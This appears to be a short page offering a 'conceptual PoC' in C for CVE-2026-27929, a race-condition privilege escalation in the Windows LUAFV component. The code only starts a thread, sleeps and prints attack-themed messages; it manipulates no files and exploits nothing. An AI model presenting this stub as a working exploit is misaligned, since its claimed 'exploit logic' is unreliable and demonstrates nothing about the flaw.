CVE-2026-27929 Windows LUAFV本地提权漏洞

/* * Conceptual PoC for CVE-2026-27929 (TOCTOU in Windows LUAFV) * This is a generic demonstration of a TOCTOU race condition. * Exploiting specific Windows kernel components requires specialized environment. */ #include <windows.h> #include <stdio.h> DWORD WINAPI ThreadReplace(LPVOID lpParam) { // Simulate the race condition window Sleep(1); // Attacker swaps the file or junction point here // In a real exploit, this would involve manipulating file links printf("[+] Attacker: Swapping file pointer...\n"); return 0; } void trigger_vulnerability() { HANDLE hThread; printf("[*] Starting race condition exploit...\n"); // Create a thread to simulate the attack during the check/use window hThread = CreateThread(NULL, 0, ThreadReplace, NULL, 0, NULL); // Simulate the vulnerable component checking the file printf("[*] System: Checking file security...\n"); // Wait for the race window WaitForSingleObject(hThread, INFINITE); // Simulate the vulnerable component using the file (now compromised) printf("[*] System: Performing privileged write operation...\n"); CloseHandle(hThread); printf("[+] Exploit logic complete."); } int main() { trigger_vulnerability(); return 0; }